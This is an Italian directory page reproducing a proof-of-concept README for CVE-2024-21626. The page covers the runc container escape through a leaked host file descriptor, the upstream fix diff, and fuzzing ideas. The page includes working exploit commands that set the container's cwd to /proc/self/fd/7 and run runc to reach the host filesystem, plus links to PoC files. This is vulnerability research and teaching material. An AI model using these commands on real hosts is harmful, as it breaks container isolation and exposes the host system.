Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-21626-PoC — Causa principale e prova di codice | Kitploit
Strumenti/GitHubGitHub/r4mbb/cve-2024-21626-poc
Analisi delle VulnerabilitàExploitFuzzingPenetration TestingEscape dal ContainerBinary Exploitation
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

Causa principale e prova di codice

Vedi Repository
51 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-21626

Causa principale & Proof of Code

Come usare poc-autoplay?

root@kitploit:~
make install

make uninstall

1. Causa principale

  • Nelle versioni di runc v1.1.11 e precedenti, la vulnerabilità si verifica perché, durante l'apertura della directory /sys/fs/cgroup dell'host per configurare i cgroup, il file descriptor corrispondente viene lasciato aperto e non viene chiuso per il processo di inizializzazione del container.
  1. Durante la fase di init di runc, si ottiene /proc/{PID}/fd/7 tramite /sys/fs/cgroup dell'host.
  2. Senza chiudere tale fd, viene eseguito il fork/exec del PID 1 del container.
  3. In runc spec o con l'opzione runc exec —cwd, la directory di lavoro (cwd) viene impostata su un percorso controllato dall'attaccante, come /proc/self/fd/7/ ottenuto sopra.
  4. Dopo la chdir, la cwd del PID 1 si sposta all'esterno della rootfs del container.
  5. Si conferma la container escape: i processi all'interno del container possono accedere o modificare il file system dell'host.
root@kitploit:~
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
       "net"
       "os"
       +    "path/filepath"
       "runtime"
       "runtime/debug"
       "strconv"
       @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
       return nil
       }

       +// verifyCwd ensures that the current working directory is still inside
       +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
        // it indicates the cwd is outside the container.
        // See CVE-2024-21626.
       +func verifyCwd() error {
       +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
       +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
       +   } else if err != nil {
       +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
       +   } else if !filepath.IsAbs(wd) {
           +       // Sanity check: cwd should always be absolute
               +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
               +   }
       +   return nil
           +}

           @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
               if err := system.ClearKeepCaps(); err != nil {
                   return fmt.Errorf("unable to clear keep caps: %w", err)
               }
               +    // After chdir to config.Cwd, ensure it’s still inside the container
                   +    if err := verifyCwd(); err != nil {
                       +        return err
                           +    }
               return nil
           }
Scarica lo strumento
  • È stata aggiunta una logica per verificare la cwd subito dopo la chdir.
  • In libcontainer/init_linux.go è stata aggiunta la funzione verifyCwd(), che verifica se la cwd è ancora all'interno del container dopo la chdir e determina se restituire un errore.
  • È stata aggiunta una logica per chiudere tutti i file descriptor trapelati.
  • Prima della execve finale, tutti gli fd interni vengono chiusi, in modo che gli fd dell'host non rimangano nei processi del container.

2. Prova di concetto

  • Ambiente
root@kitploit:~
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • Exploit tramite runc stesso
root@kitploit:~
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

Avvio dal percorso / locale all'interno di Docker

  • Quando si crea il container, la working directory deve essere impostata su un file descriptor specifico. Il file descriptor aperto sull'host viene collegato a quello all'interno del container, consentendo così la docker escape.

  • File PoC -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

root@kitploit:~
- make install, make uninstall
  • PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. Come può essere fuzzata questa vulnerabilità?

  • Approccio che prevede l'esecuzione di go-fuzz sul binario runc vulnerabile.
  • Si può fare prendendo di mira la gestione di chdir(config.Cwd) all'interno della funzione vulnerabile finalizeNamespace(), fornendo come input una config OCI casuale.
  • Con questo approccio, si potrebbe analizzare la gestione delle eccezioni o i crash nella cwd dopo la chdir, in relazione ai percorsi relativi.
  • Approccio che utilizza AFL++ sul binario runc vulnerabile.
  • È un metodo che fuzza la JSON dell'OCI spec e gli argomenti CLI di runc.
  • Nella JSON dell'OCI spec, prendendo di mira la parte cwd, si dovrebbero analizzare i crash che si verificano nel punto della chdir.